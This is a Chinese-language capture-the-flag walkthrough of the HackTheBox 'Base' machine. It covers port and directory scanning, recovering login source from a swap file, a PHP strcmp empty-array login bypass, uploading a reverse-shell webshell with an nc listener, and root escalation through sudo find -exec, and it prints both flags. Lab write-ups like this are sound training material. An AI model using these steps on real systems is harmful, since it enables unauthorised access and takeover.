使用端口扫描:
nmap -sS -sV -A 10.10.10.48
发现开放了22和80端口,使用apache容器解析web服务,使用浏览器访问此IP
找找有什么东西可以利用的,可以去扫描网站的目录和文件,这里使用gobuster通过kali自带的目录字典扫描
gobuster dir -u http://10.10.10.48 -w /usr/share/wordlists/dirb/big.txt
发现有个_uploaded目录以及login目录,访问login目录,发现路径配置错误导致列出目录下的所有文件,且有个swp后缀的临时文件(文件被编辑时没有关闭就会产生临时文件,会导致源码泄露),我们把临时文件下载下来进行代码审计
下载后我们使用
strings login.php.swp
查看源代码
发现源码是倒过来的,这里我给他回正(使用vim -r login.php.swp修复无效)
if (!empty($_POST['username']) && !empty($_POST['password'])) {
require('config.php');
if (strcmp($username , $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
$_SESSION['user_id'] = 1;
header("Location: upload.php");
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
通过代码审计可知,先检查用户名和密码,变量存储在config.php中检查是否匹配
if (strcmp($username , $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
往下审计,会发现使用strcmp去检查用户密码且有两个等号,很不安全,可以利用空数组绕过,返回NULL报错,但是确实相等了。两个等号只判断值相等,三个等号是判断值和类型相等。所以我们在登录页面进行抓包
抓包后我们使用post提交空数组去绕过
user[]=admin&password[]=admin
放包后成功登录admin,然后发现是文件上传页面
我们可以上传一个webshell,然后反弹shell。这里使用kali自带的webshell,在/usr/share/webshells/php/目录下
然后编辑这个文件,写上自己本机的ip地址和监听端口
然后上传webshell,上传成功!
之前不是扫描到了_uploads目录,那么我猜webshell上传到那个目录下了,使用
nc -lvp 1234
开启监听端口1234并且浏览器访问webshell:http://10.10.10.48/_uploaded/xxh.php
发现shell已反弹。这时候可以开始找flag了。
把shell升级为TTY
SHELL=/bin/bash script -q /dev/null
通过上面的代码审计可知,用户名密码是放在config.php配置文件中,我们找到配置文件
发现用户名是管理员admin用户,密码是thisisagoodpassword,su 切换admin用户,发现不存在此用户,此时去/etc/passwd专门存放用户的文件查看,发现是john用户
使用su john,输入密码thisisagoodpassword切换john用户
根目录拿到user flag:
f54846c258f3b4612f78a819573d158e
我们使用sudo -l查看当前能使用root权限的文件,发现可以执行root权限的二进制文件是/usr/bin/find
我们可以输入
sudo /usr/bin/find /etc -exec /bin/bash ;
搜索/etc文件系统并作为根执行bash shell
在/root/root.txt,存放root flag:
51709519ea18ab37dd6fc58096bea949
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】hackthebox靶场之Base
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论